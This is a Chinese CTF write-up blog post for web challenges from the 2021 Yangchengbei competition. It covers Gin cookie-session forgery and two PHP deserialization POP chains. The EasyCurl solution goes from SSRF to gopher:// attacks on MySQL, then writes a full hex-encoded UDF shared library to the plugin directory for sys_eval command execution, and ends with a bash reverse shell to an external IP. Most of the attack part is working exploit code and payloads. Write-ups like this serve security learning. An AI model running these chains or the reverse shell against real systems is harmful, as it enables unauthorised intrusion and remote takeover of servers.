2021 羊城杯 WEB wp
本文最后更新于 13 天前,其中的信息可能已经有所发展或是发生改变。

很愉快的又参加了2021年的羊城杯,去年这个时候也是参加了羊城杯,收获了自己的第一桶金。这次参赛体验也算是比较好的,学弟们也很给力,出的题比较多。

checkin_go以及一些思考

Go题,这题学弟很早就出了,对我来说还是有一些不解的地方,所以稍微进行了一些探索。

开头是一个提交用户名、密码和MD5的登录框,这里的md5属于老生常谈的爆破不提,用户名需要admin登录,否则无法获得admin的cookie来进行一个金钱的修改。正解是在本地删掉用户认证和302跳转来获得一个admin的cookie进行一个32位的整型溢出。

比较困惑我的地方就是既然数据存储在session为什么能通过不同服务器的cookie来控制同一个session?

当然由于go本身不支持session,这里的session是源自于gin,于是我查了一下资料,得知在gin框架中有多种session的存储方式,例如cookie-based或者redis-based等,其中基于Redis肯定是较为安全的一种存储,基于cookie虽然减轻了服务器的存储负担,但是显而易见的增加了不安全性,从这里可以大概猜测这里使用的存储方式是基于cookie类型的一个存储。这题在main.go中进行了设置:


	storage := cookie.NewStore(randomChar(16)) // 使用cookie-based存储类型
	r.Use(sessions.Sessions("o", storage)) // 设置o作为存储session的cookie

这里初始化之后直接进入sessions.go中的func Sessions,会基于name和store进行一个初始化。

func Sessions(name string, store Store) gin.HandlerFunc {
	return func(c *gin.Context) {
		s := &session{name, c.Request, store, nil, false, c.Writer}
		c.Set(DefaultKey, s)
		defer context.Clear(c.Request)
		c.Next()
	}
}

初始化后这里的session本身是没有存储意义的(没有存储uname),于是尝试提交uname=admin,删除其他waf,观察调用情况。

首先在gin.go的445行断点,观察这里的c.Keys是nil

	engine.handleHTTPRequest(c)

进入之后会对c进行一个处理,也就是一种set操作,到最后到c.Next()

context.go在go中自带,这里的context.go是gin框架下的文件,进入Next函数,这里对c的index进行了一个自增操作,然后判断c.handlers的长度并一一执行,也就是会一一执行handlers中的所有函数,观察到第三个函数是session的处理,也就是框架刚开始的处理函数。

这里的name和store没有传入,于是获得了r最开始设置的name和store,也就是cookie-based的方式,最后进入set,设置了Keys

func (c *Context) Set(key string, value interface{}) {
	c.mu.Lock()
	if c.Keys == nil {
		c.Keys = make(map[string]interface{})
	}

	c.Keys[key] = value
	c.mu.Unlock()
}

到这里设置好了store后,到了也就是表单提交数据之后的处理,进入s.Set()后会对uname=admin进行处理,也就是session.Values['uname']='admin'

func (s *session) Set(key interface{}, val interface{}) {
	s.Session().Values[key] = val
	s.written = true
}

最后在s.Save()中调用http.SetCookie,返回set-cookie,实现对cookie的设置。

题目本身不难,主要还是对框架的分析花了比较久的时间,毕竟比较少做到Goweb,总体来说还是学到了不少东西的。

Only 4

非预期就是直接文件包含/proc/self/fd/8日志文件然后直接读flag。

预期的话我觉得有点扯,先是你得先知道有serialize.php这么一个文件,全靠扫描

然后写poc,这里的链子很简单,按顺序写下来的。

<?php
class start_gg
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;

    public function __construct($mod1) {
        $this->mod1 = $mod1;
    }

    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $str2;

    public function __construct($str1)
    {
        $this->str1 = $str1;
    }

    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function __construct()
    {
    }

    public function get_flag()
    {

        echo highlight_file('serialize.php');
    }
}

$getflag = new GetFlag();
$string1 = new string1($getflag);
$func = new func($string1);
$funct = new funct($func);
$call = new Call($funct);
$start_gg = new start_gg($call);
echo serialize($start_gg);

生成的链子Flag被过滤,改成小写可以绕过。读secret.php的源码

<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
    echo shell_exec($_GET['SXF']);
}
?>

这里是一个短命令执行,CTF-show有出过类似的题目,可以参考一下他们的文章,这里我没有更深入的去弄,因为我直接照搬脚本出现了一些问题(因为这里还有别的文件存在),当时因为已经出了,就不是很想去管这道题了。

NO SQL

这题是学弟出的,看了一下最后拿到flag的方式有点扯,不说了Orz。

EasyCurl

这题质量蛮高的,确实还是比较有意思。

没看到有个hint是common.php.bak,加上还要扫一下目录,注意到其实是有很多文件的。

其中app文件中可以拿到admin账号,登录后台到admin.php,后面就是噩梦的开始了。

拿到了common.php,加上有个反序列化的点,构造poc,最终能触发的是一个curl(url),其中参数可控。

<?php
class User
{
    public $username;
    public $password;
    public $personal_intro;
    public $gender;
    public $valid;
    public $session_id;
    public $logger;
    public $db_operator;
    public function __construct()
    {
//        $this->username=$username;
//        $this->password=md5($password);
    }
    public function __toString()
    {
        return 'username:'.$this->username;
    }
    public function __wakeup()
    {
//        echo 'test';
        $this->logger=new logger('log/user_'.$this->username.'.log');
        $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' loaded in');
    }
    public function initialize_db($host,$db,$user,$pass){
        $this->db_operator=new db($host,$db,$user,$pass);
    }
    public function set_current_session_id($session_id){
        $this->session_id=$session_id;
    }
    public function update_database(){
        if($this->username!=''&&strlen($this->password)==32){
        }
        else{
            echo 'invalid data';
        }
    }
    public function set_password($new_password){
        $this->password=$new_password;
        //pdo插入数据
    }
    public function set_gender($new_gender){
        $this->gender=$new_gender;
    }
    public function set_personal_intro($new_personal_intro){
        $this->personal_intro=$new_personal_intro;
    }
    public function check_valid_user(){
        require 'config.php';
        $this->initialize_db($host,$db,$user,$pass);
        $info=$this->db_operator->query_one('user','username',$this->username);
        //print_r($info);
        $password='';
        if(isset($info[0]['password']))
            $password=$info[0]['password'];
        //echo $password;
        //pdo获取密码
        if($this->password===$password){
            $this->logger=new logger('log/user_'.$this->username);
            $this->logger->write_log(date('Y-m-d H:i:s').' | user:'.$this->username.' logged in');
            $this->valid=true;
            return true;
        }
        $this->valid=false;
        return false;
    }
}
class db{
    public $dbh;
    public function __construct($host,$db,$user,$pass)
    {
        try{
            $this->dbh=new PDO('mysql:host='.$host.';dbname='.$db,$user,$pass);
            $this->dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
        }catch (PDOException  $e){
            echo 'database connect fail: '.$e;
            return false;
        }
        return true;
    }
    public function __destruct()
    {
        $this->close();
    }
    public function query_all(){
        $query='select * from user ';
        $prepared=$this->dbh->prepare($query);
        $prepared->execute();
        if(!$prepared->fetchAll()){
            return false;
        }
        return $prepared->fetchAll();
    }
    public function query_one($table,$column,$limitation){
        $query="select * from user where username= ? ";
        $prepared=$this->dbh->prepare($query);
        $prepared->execute(array($limitation));
        //var_dump($prepared);
        return $prepared->fetchAll();
    }
//    public function update_one($table,$set_column,$value,$where_column,$limitation){
//        $query='update user set ? = ? where ? = ?';
//        $prepared=$this->dbh->prepare($query);
//        return $prepared->execute(array($set_column,$value,$where_column,$limitation));
//    }
    public function insert_one($value_array){
        $query='insert into user values ? , ? , ? , ?';
        $prepared=$this->dbh->prepare($query);
        return $prepared->execute($value_array);
    }
    public function close(){
        $this->dbh=null;
    }
}
class cache_parser{
    public $user;
    public $user_cache;
    public $default_handler='call_handler';
    public $logger;
    public function __construct()
    {
//        $this->logger=new logger('log/parser');
//        $this->default_handler=new file_request();
    }
    public function __toString()
    {
        $this->save_user_info();
        //var_dump($this->user);
        //var_dump($this->user_cache);
        return $this->user_cache;
    }
    public function __call($name, $arguments)
    {
        $handler=$this->default_handler;
        $handler();
    }
    public function get_user($user){
        $this->user=$user;
    }
    public function save_user_info(){
        if(isset($this->user->session_id)){
            if(preg_match('/[^A-Za-z_]/',$this->user->username)||preg_match('/ph|htaccess|\./i',$this->user->session_id)){
                echo '<p>illegal username or session id</p>';
                return false;
            }
            $this->user_cache=serialize($this->user);
            file_put_contents('cache_'.$this->user->session_id.'.txt',$this->user_cache);
            $this->logger->write_log(date('Y-m-d H:i:s').' | extracted user info: '.$this->user);
            return true;
        }
        echo $this->user->session_id;
        return false;
    }
    public function get_user_cache($session_id){
        if(isset($_SESSION[$session_id])){
            $this->user_cache=file_get_contents('cache_'.$session_id.'.txt');
            $this->user=unserialize($this->user_cache);
            return true;
        }
        return false;
    }
    public function load_user($user_cache){
        $this->user=unserialize($user_cache);
        return $this->user;
    }
}
class file_request{
    public $url;
    public $content;

    public function __construct()
    {
        $this->url='file:///etc/passwd';
        $this->content='';
    }
    public function request(){
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$this->url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
        $this->content=curl_exec($ch);
        echo 'resource requested!';
        curl_close($ch);
    }
    public function get_response(){
        echo $this->content;
        return $this->content;
    }
    public function __invoke()
    {
        if($this->content!=''){
            return $this->get_response();
        }
        elseif ($this->url!=''){
            $this->request();
            return $this->get_response();
        }
        else{
            return 'empty url!';
        }
    }
}
class logger{
    public $filename;
    public function __construct($log)
    {
        $this->filename=$log;
    }
    public function write_log($content){
        file_put_contents($this->filename.'.log',$content.PHP_EOL,FILE_APPEND);
//        echo 'log!';
    }
}
function call_handler($name){
    echo 'call to undefined function '.$name.'()';
}

$c1=new cache_parser();
$c1->default_handler=new file_request();
$c2=new cache_parser();
$u1=new User();
$u1->session_id=1;
$c2->user=$u1;
$c2->logger=$c1;
$u2=new User();
$u2->username=$c2;
echo serialize($u2);

回顾一下curl能支持的协议无非http/dict/gohper/ftp,所以这里有个任意文件读取,但是读不到flag,http的话也用不上,尝试用dict扫描端口,发现3306端口开放了mysql,剩下的Redis之类的服务也没有,但是gohper协议能用的情况下我们可以攻击mysql服务,差的无非就是配置信息,结合上面扫描目录出的config.php,利用任意文件读取读取config.php,拿到账号,使用脚本gohperus来实现一个gohper的exp生成

def MySQL():
    print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m"
    user = "root"
    encode_user = user.encode("hex")
    user_length = len(user)
    temp = user_length - 4
    length = (chr(0xa3+temp)).encode("hex")
    dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000"
    dump +=  encode_user
    dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c"
    dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d"
    dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
    query = "需要查询的语句"
    auth = dump.replace("\n","")
    def encode(s):
        a = [s[i:i + 2] for i in range(0, len(s), 2)]
        return "gopher://127.0.0.1:3306/_%" + "%".join(a)

    def get_payload(query):
        if(query.strip()!=''):
            query = query.encode("hex")
            query_length = '{:06x}'.format((int((len(query) / 2) + 1)))
            query_length = query_length.decode('hex')[::-1].encode('hex')
            pay1 = query_length + "0003" + query
            final = encode(auth + pay1 + "0100000001")
            return final
        else:
            return encode(auth)
    print "\033[93m" +"\nYour gopher link is ready to do SSRF : \n" + "\033[0m"
    print "\033[04m" + get_payload(query)+ "\033[0m"

然后这里由于没什么头绪,我尝试了一些比较愚笨的方法,首先是secuer_file_priv设置为/usr/lib/mysql/plugin/,于是webshell是不行的,尝试了一下写日志,依然不能写到除了/mysql目录下的其他地方。

思路似乎卡死,于是开始考虑其他提权的方式,想到了UDF提权,刚好UDF提权的首要条件就是需要在 /usr/lib/mysql/plugin/ 目录下写入so文件,而该目录是secure_file_priv的可写目录,其实是比较明显的暗示了。

最后执行的所有语句如下,通过脚本转成gohper://xxx进行攻击。

show global variables like '%secure_file_priv%';
# 写入so文件参考https://www.sqlsec.com/tools/udf.html
SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
# 自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
select * from mysql.func;
# 命令执行+反弹shell,这里直接执行readflag只会返回小写的flag,最后会提交不上,弹shell就能正常执行了。
select sys_eval('whoami');
select sys_eval('bash -c \"bash -i >&amp; /dev/tcp/ 47.75.138.18/8080 0>&amp;1\"');

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇